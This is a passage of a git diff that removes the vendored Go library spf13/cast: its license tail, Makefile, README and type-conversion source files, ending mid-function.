distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. \ No newline at end of file diff --git a/vendor/github.com/spf13/cast/Makefile b/vendor/github.com/spf13/cast/Makefile deleted file mode 100644 index 7ccf8930b5..0000000000 --- a/vendor/github.com/spf13/cast/Makefile +++ /dev/null @@ -1,38 +0,0 @@ -# A Self-Documenting Makefile: http://marmelab.com/blog/2016/02/29/auto-documented-makefile.html - -.PHONY: check fmt lint test test-race vet test-cover-html help -.DEFAULT_GOAL := help - -check: test-race fmt vet lint ## Run tests and linters - -test: ## Run tests - go test ./... - -test-race: ## Run tests with race detector - go test -race ./... - -fmt: ## Run gofmt linter - @for d in `go list` ; do \ - if [ "`gofmt -l -s $$GOPATH/src/$$d | tee /dev/stderr`" ]; then \ - echo "^ improperly formatted go files" && echo && exit 1; \ - fi \ - done - -lint: ## Run golint linter - @for d in `go list` ; do \ - if [ "`golint $$d | tee /dev/stderr`" ]; then \ - echo "^ golint errors!" && echo && exit 1; \ - fi \ - done - -vet: ## Run go vet linter - @if [ "`go vet | tee /dev/stderr`" ]; then \ - echo "^ go vet errors!" && echo && exit 1; \ - fi - -test-cover-html: ## Generate test coverage report - go test -coverprofile=coverage.out -covermode=count - go tool cover -func=coverage.out - -help: - @grep -E '^[a-zA-Z0-9_-]+:.*?## .*$$' $(MAKEFILE_LIST) | sort | awk 'BEGIN {FS = ":.*?## "}; {printf "\033[36m%-30s\033[0m %s\n", $$1, $$2}' diff --git a/vendor/github.com/spf13/cast/README.md b/vendor/github.com/spf13/cast/README.md deleted file mode 100644 index e6939397dd..0000000000 --- a/vendor/github.com/spf13/cast/README.md +++ /dev/null @@ -1,75 +0,0 @@ -cast -==== -[![GoDoc](https://godoc.org/github.com/spf13/cast?status.svg)](https://godoc.org/github.com/spf13/cast) -[![Build Status](https://api.travis-ci.org/spf13/cast.svg?branch=master)](https://travis-ci.org/spf13/cast) -[![Go Report Card](https://goreportcard.com/badge/github.com/spf13/cast)](https://goreportcard.com/report/github.com/spf13/cast) - -Easy and safe casting from one type to another in Go - -Don’t Panic! ... Cast - -## What is Cast? - -Cast is a library to convert between different go types in a consistent and easy way. - -Cast provides simple functions to easily convert a number to a string, an -interface into a bool, etc. Cast does this intelligently when an obvious -conversion is possible. It doesn’t make any attempts to guess what you meant, -for example you can only convert a string to an int when it is a string -representation of an int such as “8”. Cast was developed for use in -[Hugo](http://hugo.spf13.com), a website engine which uses YAML, TOML or JSON -for meta data. - -## Why use Cast? - -When working with dynamic data in Go you often need to cast or convert the data -from one type into another. Cast goes beyond just using type assertion (though -it uses that when possible) to provide a very straightforward and convenient -library. - -If you are working with interfaces to handle things like dynamic content -you’ll need an easy way to convert an interface into a given type. This -is the library for you. - -If you are taking in data from YAML, TOML or JSON or other formats which lack -full types, then Cast is the library for you. - -## Usage - -Cast provides a handful of To_____ methods. These methods will always return -the desired type. **If input is provided that will not convert to that type, the -0 or nil value for that type will be returned**. - -Cast also provides identical methods To_____E. These return the same result as -the To_____ methods, plus an additional error which tells you if it successfully -converted. Using these methods you can tell the difference between when the -input matched the zero value or when the conversion failed and the zero value -was returned. - -The following examples are merely a sample of what is available. Please review -the code for a complete set. - -### Example ‘ToString’: - - cast.ToString("mayonegg") // "mayonegg" - cast.ToString(8) // "8" - cast.ToString(8.31) // "8.31" - cast.ToString([]byte("one time")) // "one time" - cast.ToString(nil) // "" - - var foo interface{} = "one more time" - cast.ToString(foo) // "one more time" - - -### Example ‘ToInt’: - - cast.ToInt(8) // 8 - cast.ToInt(8.31) // 8 - cast.ToInt("8") // 8 - cast.ToInt(true) // 1 - cast.ToInt(false) // 0 - - var eight interface{} = 8 - cast.ToInt(eight) // 8 - cast.ToInt(nil) // 0 - diff --git a/vendor/github.com/spf13/cast/cast.go b/vendor/github.com/spf13/cast/cast.go deleted file mode 100644 index 8b8c208bef..0000000000 --- a/vendor/github.com/spf13/cast/cast.go +++ /dev/null @@ -1,159 +0,0 @@ -// Copyright Š 2014 Steve Francia . -// -// Use of this source code is governed by an MIT-style -// license that can be found in the LICENSE file. - -// Package cast provides easy and safe casting in Go. -package cast - -import "time" - -// ToBool casts an interface to a bool type. -func ToBool(i interface{}) bool { - v, _ := ToBoolE(i) - return v -} - -// ToTime casts an interface to a time.Time type. -func ToTime(i interface{}) time.Time { - v, _ := ToTimeE(i) - return v -} - -// ToDuration casts an interface to a time.Duration type. -func ToDuration(i interface{}) time.Duration { - v, _ := ToDurationE(i) - return v -} - -// ToFloat64 casts an interface to a float64 type. -func ToFloat64(i interface{}) float64 { - v, _ := ToFloat64E(i) - return v -} - -// ToFloat32 casts an interface to a float32 type. -func ToFloat32(i interface{}) float32 { - v, _ := ToFloat32E(i) - return v -} - -// ToInt64 casts an interface to an int64 type. -func ToInt64(i interface{}) int64 { - v, _ := ToInt64E(i) - return v -} - -// ToInt32 casts an interface to an int32 type. -func ToInt32(i interface{}) int32 { - v, _ := ToInt32E(i) - return v -} - -// ToInt16 casts an interface to an int16 type. -func ToInt16(i interface{}) int16 { - v, _ := ToInt16E(i) - return v -} - -// ToInt8 casts an interface to an int8 type. -func ToInt8(i interface{}) int8 { - v, _ := ToInt8E(i) - return v -} - -// ToInt casts an interface to an int type. -func ToInt(i interface{}) int { - v, _ := ToIntE(i) - return v -} - -// ToUint casts an interface to a uint type. -func ToUint(i interface{}) uint { - v, _ := ToUintE(i) - return v -} - -// ToUint64 casts an interface to a uint64 type. -func ToUint64(i interface{}) uint64 { - v, _ := ToUint64E(i) - return v -} - -// ToUint32 casts an interface to a uint32 type. -func ToUint32(i interface{}) uint32 { - v, _ := ToUint32E(i) - return v -} - -// ToUint16 casts an interface to a uint16 type. -func ToUint16(i interface{}) uint16 { - v, _ := ToUint16E(i) - return v -} - -// ToUint8 casts an interface to a uint8 type. -func ToUint8(i interface{}) uint8 { - v, _ := ToUint8E(i) - return v -} - -// ToString casts an interface to a string type. -func ToString(i interface{}) string { - v, _ := ToStringE(i) - return v -} - -// ToStringMapString casts an interface to a map[string]string type. -func ToStringMapString(i interface{}) map[string]string { - v, _ := ToStringMapStringE(i) - return v -} - -// ToStringMapStringSlice casts an interface to a map[string][]string type. -func ToStringMapStringSlice(i interface{}) map[string][]string { - v, _ := ToStringMapStringSliceE(i) - return v -} - -// ToStringMapBool casts an interface to a map[string]bool type. -func ToStringMapBool(i interface{}) map[string]bool { - v, _ := ToStringMapBoolE(i) - return v -} - -// ToStringMap casts an interface to a map[string]interface{} type. -func ToStringMap(i interface{}) map[string]interface{} { - v, _ := ToStringMapE(i) - return v -} - -// ToSlice casts an interface to a []interface{} type. -func ToSlice(i interface{}) []interface{} { - v, _ := ToSliceE(i) - return v -} - -// ToBoolSlice casts an interface to a []bool type. -func ToBoolSlice(i interface{}) []bool { - v, _ := ToBoolSliceE(i) - return v -} - -// ToStringSlice casts an interface to a []string type. -func ToStringSlice(i interface{}) []string { - v, _ := ToStringSliceE(i) - return v -} - -// ToIntSlice casts an interface to a []int type. -func ToIntSlice(i interface{}) []int { - v, _ := ToIntSliceE(i) - return v -} - -// ToDurationSlice casts an interface to a []time.Duration type. -func ToDurationSlice(i interface{}) []time.Duration { - v, _ := ToDurationSliceE(i) - return v -} diff --git a/vendor/github.com/spf13/cast/caste.go b/vendor/github.com/spf13/cast/caste.go deleted file mode 100644 index 81511fe52d..0000000000 --- a/vendor/github.com/spf13/cast/caste.go +++ /dev/null @@ -1,1146 +0,0 @@ -// Copyright Š 2014 Steve Francia . -// -// Use of this source code is governed by an MIT-style -// license that can be found in the LICENSE file. - -package cast - -import ( - "errors" - "fmt" - "html/template" - "reflect" - "strconv" - "strings" - "time" -) - -var errNegativeNotAllowed = errors.New("unable to cast negative value") - -// ToTimeE casts an interface to a time.Time type. -func ToTimeE(i interface{}) (tim time.Time, err error) { - i = indirect(i) - - switch v := i.(type) { - case time.Time: - return v, nil - case string: - return StringToDate(v) - case int: - return time.Unix(int64(v), 0), nil - case int64: - return time.Unix(v, 0), nil - case int32: - return time.Unix(int64(v), 0), nil - case uint: - return time.Unix(int64(v), 0), nil - case uint64: - return time.Unix(int64(v), 0), nil - case uint32: - return time.Unix(int64(v), 0), nil - default: - return time.Time{}, fmt.Errorf("unable to cast %#v of type %T to Time", i, i) - } -} - -// ToDurationE casts an interface to a time.Duration type. -func ToDurationE(i interface{}) (d time.Duration, err error) { - i = indirect(i) - - switch s := i.(type) { - case time.Duration: - return s, nil - case int, int64, int32, int16, int8, uint, uint64, uint32, uint16, uint8: - d = time.Duration(ToInt64(s)) - return - case float32, float64: - d = time.Duration(ToFloat64(s)) - return - case string: - if strings.ContainsAny(s, "nsuÂĩmh") { - d, err = time.ParseDuration(s) - } else { - d, err = time.ParseDuration(s + "ns") - } - return - default: - err = fmt.Errorf("unable to cast %#v of type %T to Duration", i, i) - return - } -} - -// ToBoolE casts an interface to a bool type. -func ToBoolE(i interface{}) (bool, error) { - i = indirect(i) - - switch b := i.(type) { - case bool: - return b, nil - case nil: - return false, nil - case int: - if i.(int) != 0 { - return true, nil - } - return false, nil - case string: - return strconv.ParseBool(i.(string)) - default: - return false, fmt.Errorf("unable to cast %#v of type %T to bool", i, i) - } -} - -// ToFloat64E casts an interface to a float64 type. -func ToFloat64E(i interface{}) (float64, error) { - i = indirect(i) - - switch s := i.(type) { - case float64: - return s, nil - case float32: - return float64(s), nil - case int: - return float64(s), nil - case int64: - return float64(s), nil - case int32: - return float64(s), nil - case int16: - return float64(s), nil - case int8: - return float64(s), nil - case uint: - return float64(s), nil - case uint64: - return float64(s), nil - case uint32: - return float64(s), nil - case uint16: - return float64(s), nil - case uint8: - return float64(s), nil - case string: - v, err := strconv.ParseFloat(s, 64) - if err == nil { - return v, nil - } - return 0, fmt.Errorf("unable to cast %#v of type %T to float64", i, i) - case bool: - if s { - return 1, nil - } - return 0, nil - default: - return 0, fmt.Errorf("unable to cast %#v of type %T to float64", i, i) - } -} - -// ToFloat32E casts an interface to a float32 type. -func ToFloat32E(i interface{}) (float32, error) { - i = indirect(i) - - switch s := i.(type) { - case float64: - return float32(s), nil - case float32: - return s, nil - case int: - return float32(s), nil - case int64: - return float32(s), nil - case int32: - return float32(s), nil - case int16: - return float32(s), nil - case int8: - return float32(s), nil - case uint: - return float32(s), nil - case uint64: - return float32(s), nil - case uint32: - return float32(s), nil - case uint16: - return float32(s), nil - case uint8: - return float32(s), nil - case string: - v, err := strconv.ParseFloat(s, 32) - if err == nil { - return float32(v), nil - } - return 0, fmt.Errorf("unable to cast %#v of type %T to float32", i, i) - case bool: - if s { - return 1, nil - } - return 0, nil - default: - return 0, fmt.Errorf("unable to cast %#v of type %T to float32", i, i) - } -} - -// ToInt64E casts an interface to an int64 type. -func ToInt64E(i interface{}) (int64, error) { - i = indirect(i) - - switch s := i.(type) { - case int: - return int64(s), nil - case int64: - return s, nil - case int32: - return int64(s), nil - case int16: - return int64(s), nil - case int8: - return int64(s), nil - case uint: - return int64(s), nil - case uint64: - return int64(s), nil - case uint32: - return int64(s), nil - case uint16: - return int64(s), nil - case uint8: - return int64(s), nil - case float64: - return int64(s), nil - case float32: - return int64(s), nil - case string: - v, err := strconv.ParseInt(s, 0, 0) - if err == nil { - return v, nil - } - return 0, fmt.Errorf("unable to cast %#v of type %T to int64", i, i) - case bool: - if s { - return 1, nil - } - return 0, nil - case nil: - return 0, nil - default: - return 0, fmt.Errorf("unable to cast %#v of type %T to int64", i, i) - } -} - -// ToInt32E casts an interface to an int32 type. -func ToInt32E(i interface{}) (int32, error) { - i = indirect(i) - - switch s := i.(type) { - case int: - return int32(s), nil - case int64: - return int32(s), nil - case int32: - return s, nil - case int16: - return int32(s), nil - case int8: - return int32(s), nil - case uint: - return int32(s), nil - case uint64: - return int32(s), nil - case uint32: - return int32(s), nil - case uint16: - return int32(s), nil - case uint8: - return int32(s), nil - case float64: - return int32(s), nil - case float32: - return int32(s), nil - case string: - v, err := strconv.ParseInt(s, 0, 0) - if err == nil { - return int32(v), nil - } - return 0, fmt.Errorf("unable to cast %#v of type %T to int32", i, i) - case bool: - if s { - return 1, nil - } - return 0, nil - case nil: - return 0, nil - default: - return 0, fmt.Errorf("unable to cast %#v of type %T to int32", i, i) - } -} - -// ToInt16E casts an interface to an int16 type. -func ToInt16E(i interface{}) (int16, error) { - i = indirect(i) - - switch s := i.(type) { - case int: - return int16(s), nil - case int64: - return int16(s), nil - case int32: - return int16(s), nil - case int16: - return s, nil - case int8: - return int16(s), nil - case uint: - return int16(s), nil - case uint64: - return int16(s), nil - case uint32: - return int16(s), nil - case uint16: - return int16(s), nil - case uint8: - return int16(s), nil - case float64: - return int16(s), nil - case float32: - return int16(s), nil - case string: - v, err := strconv.ParseInt(s, 0, 0) - if err == nil { - return int16(v), nil - } - return 0, fmt.Errorf("unable to cast %#v of type %T to int16", i, i) - case bool: - if s { - return 1, nil - } - return 0, nil - case nil: - return 0, nil - default: - return 0, fmt.Errorf("unable to cast %#v of type %T to int16", i, i) - } -} - -// ToInt8E casts an interface to an int8 type. -func ToInt8E(i interface{}) (int8, error) { - i = indirect(i) - - switch s := i.(type) { - case int: - return int8(s), nil - case int64: - return int8(s), nil - case int32: - return int8(s), nil - case int16: - return int8(s), nil - case int8: - return s, nil - case uint: - return int8(s), nil - case uint64: - return int8(s), nil - case uint32: - return int8(s), nil - case uint16: - return int8(s), nil - case uint8: - return int8(s), nil - case float64: - return int8(s), nil - case float32: - return int8(s), nil - case string: - v, err := strconv.ParseInt(s, 0, 0) - if err == nil { - return int8(v), nil - } - return 0, fmt.Errorf("unable to cast %#v of type %T to int8", i, i) - case bool: - if s { - return 1, nil - } - return 0, nil - case nil: - return 0, nil - default: - return 0, fmt.Errorf("unable to cast %#v of type %T to int8", i, i) - } -} - -// ToIntE casts an interface to an int type. -func ToIntE(i interface{}) (int, error) { - i = indirect(i) - - switch s := i.(type) { - case int: - return s, nil - case int64: - return int(s), nil - case int32: - return int(s), nil - case int16: - return int(s), nil - case int8: - return int(s), nil - case uint: - return int(s), nil - case uint64: - return int(s), nil - case uint32: - return int(s), nil - case uint16: - return int(s), nil - case uint8: - return int(s), nil - case float64: - return int(s), nil - case float32: - return int(s), nil - case string: - v, err := strconv.ParseInt(s, 0, 0) - if err == nil { - return int(v), nil - } - return 0, fmt.Errorf("unable to cast %#v of type %T to int", i, i) - case bool: - if s { - return 1, nil - } - return 0, nil - case nil: - return 0, nil - default: - return 0, fmt.Errorf("unable to cast %#v of type %T to int", i, i) - } -} - -// ToUintE casts an interface to a uint type. -func ToUintE(i interface{}) (uint, error) { - i = indirect(i) - - switch s := i.(type) { - case string: - v, err := strconv.ParseUint(s, 0, 0) - if err == nil { - return uint(v), nil - } - return 0, fmt.Errorf("unable to cast %#v to uint: %s", i, err) - case int: - if s < 0 { - return 0, errNegativeNotAllowed - } - return uint(s), nil - case int64: - if s < 0 { - return 0, errNegativeNotAllowed - } - return uint(s), nil - case int32: - if s < 0 { - return 0, errNegativeNotAllowed - } - return uint(s), nil - case int16: - if s < 0 { - return 0, errNegativeNotAllowed - } - return uint(s), nil - case int8: - if s < 0 { - return 0, errNegativeNotAllowed - } - return uint(s), nil - case uint: - return s, nil - case uint64: - return uint(s), nil - case uint32: - return uint(s), nil - case uint16: - return uint(s), nil - case uint8: - return uint(s), nil - case float64: - if s < 0 { - return 0, errNegativeNotAllowed - } - return uint(s), nil - case float32: - if s < 0 { - return 0, errNegativeNotAllowed - } - return uint(s), nil - case bool: - if s { - return 1, nil - } - return 0, nil - case nil: - return 0, nil - default: - return 0, fmt.Errorf("unable to cast %#v of type %T to uint", i, i) - } -} - -// ToUint64E casts an interface to a uint64 type. -func ToUint64E(i interface{}) (uint64, error) { - i = indirect(i) - - switch s := i.(type) { - case string: - v, err := strconv.ParseUint(s, 0, 64) - if err == nil { - return v, nil - } - return 0, fmt.Errorf("unable to cast %#v to uint64: %s", i, err) - case int: - if s < 0 { - return 0, errNegativeNotAllowed - } - return uint64(s), nil - case int64: - if s < 0 { - return 0, errNegativeNotAllowed - } - return uint64(s), nil - case int32: - if s < 0 { - return 0, errNegativeNotAllowed - } - return uint64(s), nil - case int16: - if s < 0 { - return 0, errNegativeNotAllowed - } - return uint64(s), nil - case int8: - if s < 0 { - return 0, errNegativeNotAllowed - } - return uint64(s), nil - case uint: - return uint64(s), nil - case uint64: - return s, nil - case uint32: - return uint64(s), nil - case uint16: - return uint64(s), nil - case uint8: - return uint64(s), nil - case float32: - if s < 0 { - return 0, errNegativeNotAllowed - } - return uint64(s), nil - case float64: - if s < 0 { - return 0, errNegativeNotAllowed - } - return uint64(s), nil - case bool: - if s { - return 1, nil - } - return 0, nil - case nil: - return 0, nil - default: - return 0, fmt.Errorf("unable to cast %#v of type %T to uint64", i, i) - } -} - -// ToUint32E casts an interface to a uint32 type. -func ToUint32E(i interface{}) (uint32, error) { - i = indirect(i) - - switch s := i.(type) { - case string: - v, err := strconv.ParseUint(s, 0, 32) - if err == nil { - return uint32(v), nil - } - return 0, fmt.Errorf("unable to cast %#v to uint32: %s", i, err) - case int: - if s < 0 { - return 0, errNegativeNotAllowed - } - return uint32(s), nil - case int64: - if s < 0 { - return 0, errNegativeNotAllowed - } - return uint32(s), nil - case int32: - if s < 0 { - return 0, errNegativeNotAllowed - } - return uint32(s), nil - case int16: - if s < 0 { - return 0, errNegativeNotAllowed - } - return uint32(s), nil - case int8: - if s < 0 { - return 0, errNegativeNotAllowed - } - return uint32(s), nil - case uint: - return uint32(s), nil - case uint64: - return uint32(s), nil - case uint32: - return s, nil - case uint16: - return uint32(s), nil - case uint8: - return uint32(s), nil - case float64: - if s < 0 { - return 0, errNegativeNotAllowed - } - return uint32(s), nil - case float32: - if s < 0 { - return 0, errNegativeNotAllowed - } - return uint32(s), nil - case bool: - if s { - return 1, nil - } - return 0, nil - case nil: - return 0, nil - default: - return 0, fmt.Errorf("unable to cast %#v of type %T to uint32", i, i) - } -} - -// ToUint16E casts an interface to a uint16 type. -func ToUint16E(i interface{}) (uint16, error) { - i = indirect(i) - - switch s := i.(type) { - case string: - v, err := strconv.ParseUint(s, 0, 16) - if err == nil { - return uint16(v), nil - } - return 0, fmt.Errorf("unable to cast %#v to uint16: %s", i, err) - case int: - if s < 0 { - return 0, errNegativeNotAllowed - } - return uint16(s), nil - case int64: - if s < 0 { - return 0, errNegativeNotAllowed - } - return uint16(s), nil - case int32: - if s < 0 { - return 0, errNegativeNotAllowed - } - return uint16(s), nil - case int16: - if s < 0 { - return 0, errNegativeNotAllowed - } - return uint16(s), nil - case int8: - if s < 0 { - return 0, errNegativeNotAllowed - } - return uint16(s), nil - case uint: - return uint16(s), nil - case uint64: - return uint16(s), nil - case uint32: - return uint16(s), nil - case uint16: - return s, nil - case uint8: - return uint16(s), nil - case float64: - if s < 0 { - return 0, errNegativeNotAllowed - } - return uint16(s), nil - case float32: - if s < 0 { - return 0, errNegativeNotAllowed - } - return uint16(s), nil - case bool: - if s { - return 1, nil - } - return 0, nil - case nil: - return 0, nil - default: - return 0, fmt.Errorf("unable to cast %#v of type %T to uint16", i, i) - } -} - -// ToUint8E casts an interface to a uint type. -func ToUint8E(i interface{}) (uint8, error) { - i = indirect(i) - - switch s := i.(type) { - case string: - v, err := strconv.ParseUint(s, 0, 8) - if err == nil { - return uint8(v), nil - } - return 0, fmt.Errorf("unable to cast %#v to uint8: %s", i, err) - case int: - if s < 0 { - return 0, errNegativeNotAllowed - } - return uint8(s), nil - case int64: - if s < 0 { - return 0, errNegativeNotAllowed - } - return uint8(s), nil - case int32: - if s < 0 { - return 0, errNegativeNotAllowed - } - return uint8(s), nil - case int16: - if s < 0 { - return 0, errNegativeNotAllowed - } - return uint8(s), nil - case int8: - if s < 0 { - return 0, errNegativeNotAllowed - } - return uint8(s), nil - case uint: - return uint8(s), nil - case uint64: - return uint8(s), nil - case uint32: - return uint8(s), nil - case uint16: - return uint8(s), nil - case uint8: - return s, nil - case float64: - if s < 0 { - return 0, errNegativeNotAllowed - } - return uint8(s), nil - case float32: - if s < 0 { - return 0, errNegativeNotAllowed - } - return uint8(s), nil - case bool: - if s { - return 1, nil - } - return 0, nil - case nil: - return 0, nil - default: - return 0, fmt.Errorf("unable to cast %#v of type %T to uint8", i, i) - } -} - -// From html/template/content.go -// Copyright 2011 The Go Authors. All rights reserved. -// indirect returns the value, after dereferencing as many times -// as necessary to reach the base type (or nil). -func indirect(a interface{}) interface{} { - if a == nil { - return nil - } - if t := reflect.TypeOf(a); t.Kind() != reflect.Ptr { - // Avoid creating a reflect.Value if it's not a pointer. - return a - } - v := reflect.ValueOf(a) - for v.Kind() == reflect.Ptr && !v.IsNil() { - v = v.Elem() - } - return v.Interface() -} - -// From html/template/content.go -// Copyright 2011 The Go Authors. All rights reserved. -// indirectToStringerOrError returns the value, after dereferencing as many times -// as necessary to reach the base type (or nil) or an implementation of fmt.Stringer -// or error, -func indirectToStringerOrError(a interface{}) interface{} { - if a == nil { - return nil - } - - var errorType = reflect.TypeOf((*error)(nil)).Elem() - var fmtStringerType = reflect.TypeOf((*fmt.Stringer)(nil)).Elem() - - v := reflect.ValueOf(a) - for !v.Type().Implements(fmtStringerType) && !v.Type().Implements(errorType) && v.Kind() == reflect.Ptr && !v.IsNil() { - v = v.Elem() - } - return v.Interface() -} - -// ToStringE casts an interface to a string type. -func ToStringE(i interface{}) (string, error) { - i = indirectToStringerOrError(i) - - switch s := i.(type) { - case string: - return s, nil - case bool: - return strconv.FormatBool(s), nil - case float64: - return strconv.FormatFloat(s, 'f', -1, 64), nil - case float32: - return strconv.FormatFloat(float64(s), 'f', -1, 32), nil - case int: - return strconv.Itoa(s), nil - case int64: - return strconv.FormatInt(s, 10), nil - case int32: - return strconv.Itoa(int(s)), nil - case int16: - return strconv.FormatInt(int64(s), 10), nil - case int8: - return strconv.FormatInt(int64(s), 10), nil - case uint: - return strconv.FormatInt(int64(s), 10), nil - case uint64: - return strconv.FormatInt(int64(s), 10), nil - case uint32: - return strconv.FormatInt(int64(s), 10), nil - case uint16: - return strconv.FormatInt(int64(s), 10), nil - case uint8: - return strconv.FormatInt(int64(s), 10), nil - case []byte: - return string(s), nil - case template.HTML: - return string(s), nil - case template.URL: - return string(s), nil - case template.JS: - return string(s), nil - case template.CSS: - return string(s), nil - case template.HTMLAttr: - return string(s), nil - case nil: - return "", nil - case fmt.Stringer: - return s.String(), nil - case error: - return s.Error(), nil - default: - return "", fmt.Errorf("unable to cast %#v of type %T to string", i, i) - } -} - -// ToStringMapStringE casts an interface to a map[string]string type. -func ToStringMapStringE(i interface{}) (map[string]string, error) { - var m = map[string]string{} - - switch v := i.(type) { - case map[string]string: - return v, nil - case map[string]interface{}: - for k, val := range v { - m[ToString(k)] = ToString(val) - } - return m, nil - case map[interface{}]string: - for k, val := range v { - m[ToString(k)] = ToString(val) - } - return m, nil - case map[interface{}]interface{}: - for k, val := range v { - m[ToString(k)] = ToString(val) - } - return m, nil - default: - return m, fmt.Errorf("unable to cast %#v of type %T to map[string]string", i, i) - } -} - -// ToStringMapStringSliceE casts an interface to a map[string][]string type. -func ToStringMapStringSliceE(i interface{}) (map[string][]string, error) { - var m = map[string][]string{} - - switch v := i.(type) { - case map[string][]string: - return v, nil - case map[string][]interface{}: - for k, val := range v { - m[ToString(k)] = ToStringSlice(val) - } - return m, nil - case map[string]string: - for k, val := range v { - m[ToString(k)] = []string{val} - } - case map[string]interface{}: - for k, val := range v { - switch vt := val.(type) { - case []interface{}: - m[ToString(k)] = ToStringSlice(vt) - case []string: - m[ToString(k)] = vt - default: - m[ToString(k)] = []string{ToString(val)} - } - } - return m, nil - case map[interface{}][]string: - for k, val := range v { - m[ToString(k)] = ToStringSlice(val) - } - return m, nil - case map[interface{}]string: - for k, val := range v { - m[ToString(k)] = ToStringSlice(val) - } - return m, nil - case map[interface{}][]interface{}: - for k, val := range v { - m[ToString(k)] = ToStringSlice(val) - } - return m, nil - case map[interface{}]interface{}: - for k, val := range v { - key, err := ToStringE(k) - if err != nil { - return m, fmt.Errorf("unable to cast %#v of type %T to map[string][]string", i, i) - } - value, err := ToStringSliceE(val) - if err != nil { - return m, fmt.Errorf("unable to cast %#v of type %T to map[string][]string", i, i) - } - m[key] = value - } - default: - return m, fmt.Errorf("unable to cast %#v of type %T to map[string][]string", i, i) - } - return m, nil -} - -// ToStringMapBoolE casts an interface to a map[string]bool type. -func ToStringMapBoolE(i interface{}) (map[string]bool, error) { - var m = map[string]bool{} - - switch v := i.(type) { - case map[interface{}]interface{}: - for k, val := range v { - m[ToString(k)] = ToBool(val) - } - return m, nil - case map[string]interface{}: - for k, val := range v { - m[ToString(k)] = ToBool(val) - } - return m, nil - case map[string]bool: - return v, nil - default: - return m, fmt.Errorf("unable to cast %#v of type %T to map[string]bool", i, i) - } -} - -// ToStringMapE casts an interface to a map[string]interface{} type. -func ToStringMapE(i interface{}) (map[string]interface{}, error) { - var m = map[string]interface{}{} - - switch v := i.(type) { - case map[interface{}]interface{}: - for k, val := range v { - m[ToString(k)] = val - } - return m, nil - case map[string]interface{}: - return v, nil - default: - return m, fmt.Errorf("unable to cast %#v of type %T to map[string]interface{}", i, i) - } -} - -// ToSliceE casts an interface to a []interface{} type. -func ToSliceE(i interface{}) ([]interface{}, error) { - var s []interface{} - - switch v := i.(type) { - case []interface{}: - return append(s, v...), nil - case []map[string]interface{}: - for _, u := range v { - s = append(s, u) - } - return s, nil - default: - return s, fmt.Errorf("unable to cast %#v of type %T to []interface{}", i, i) - } -} - -// ToBoolSliceE casts an interface to a []bool type. -func ToBoolSliceE(i interface{}) ([]bool, error) { - if i == nil { - return []bool{}, fmt.Errorf("unable to cast %#v of type %T to []bool", i, i) - } - - switch v := i.(type) { - case []bool: - return v, nil - } - - kind := reflect.TypeOf(i).Kind() - switch kind { - case reflect.Slice, reflect.Array: - s := reflect.ValueOf(i) - a := make([]bool, s.Len()) - for j := 0; j < s.Len(); j++ { - val, err := ToBoolE(s.Index(j).Interface()) - if err != nil { - return []bool{}, fmt.Errorf("unable to cast %#v of type %T to []bool", i, i) - } - a[j] = val - } - return a, nil - default: - return []bool{}, fmt.Errorf("unable to cast %#v of type %T to []bool", i, i) - } -} - -// ToStringSliceE casts an interface to a []string type. -func ToStringSliceE(i interface{}) ([]string, error) { - var a []string - - switch v := i.(type) { - case []interface{}: - for _, u := range v { - a = append(a, ToString(u)) - } - return a, nil - case []string: - return v, nil - case string: - return strings.Fields(v), nil - case interface{}: - str, err := ToStringE(v) - if err != nil { - return a, fmt.Errorf("unable to cast %#v of type %T to []string", i, i) - } - return []string{str}, nil - default: - return a, fmt.Errorf("unable to cast %#v of type %T to []string", i, i) - } -} - -// ToIntSliceE casts an interface to a []int type. -func ToIntSliceE(i interface{}) ([]int, error) { - if i == nil { - return []int{}, fmt.Errorf("unable to cast %#v of type %T to []int", i, i) - } - - switch v := i.(type) { - case []int: - return v, nil - } - - kind := reflect.TypeOf(i).Kind() - switch kind { - case reflect.Slice, reflect.Array: - s := reflect.ValueOf(i) - a := make([]int, s.Len()) - for j := 0; j < s.Len(); j++ { - val, err := ToIntE(s.Index(j).Interface()) - if err != nil { - return []int{}, fmt.Errorf("unable to cast %#v of type %T to []int", i, i) - } - a[j] = val - } - return a, nil - default: - return []int{}, fmt.Errorf("unable to cast %#v of type %T to []int", i, i) - } -} - -// ToDurationSliceE casts an interface to a []time.Duration type. -func ToDurationSliceE(i interface{}) ([]time.Duration, error) { - if i == nil { - return []time.Duration{}, fmt.Errorf("unable to cast %#v of type %T to []time.Duration", i, i) - } - - switch v := i.(type) { - case []time.Duration: - return v, nil - } - - kind := reflect.TypeOf(i).Kind() - switch kind { - case reflect.Slice, reflect.Array: - s := reflect.ValueOf(i) - a := make([]time.Duration, s.Len()) - for j := 0; j < s.Len(); j++ { - val, err := ToDurationE(s.Index(j).Interface()) - if err != nil { - return []time.Duration{}, fmt.Errorf("unable to cast %#v of type %T to []time.Duration", i, i) - } - a[j] = val - } - return a, nil - default: - return []time.Duration{}, fmt.Errorf("unable to cast %#v of type %T to []time.Duration", i, i) - } -} - -// StringToDate attempts to parse a string into a time.Time type using a -// predefined list of formats. If no suitable format is found, an error is -// returned. -func StringToDate(s string) (time.Time, error) { - return parseDateWith(s, []string{ - time.RFC3339, - "2006-01-02T15:04:05", // iso8601 without timezone - time.RFC1123Z, - time.RFC1123, - time.RFC822Z, - time.RFC822, - time.RFC850, - time.ANSIC, - time.UnixDate, - time.RubyDate, - "2006-01-02 15:04:05.999999999 -0700 MST", // Time.String() - "2006-01-02", - "02 Jan 2006", - "2006-01-02 15:04:05 -07:00", - "2006-01-02 15:04:05 -0700", - "2006-01-02 15:04:05Z07:00", // RFC3339 without T - "2006-01-02 15:04:05", - time.Kitchen, - time.Stamp, - time.StampMilli, - time.StampMicro, - time.StampNano, - }) -} - -func parseDateWith(s string, dates []string) (d time.Time, e error) { - for _, dateType := range dates { - if d, e = time.Parse(dateType, s); e == nil { - return - } - } - return d, fmt.Errorf("unable to parse date: 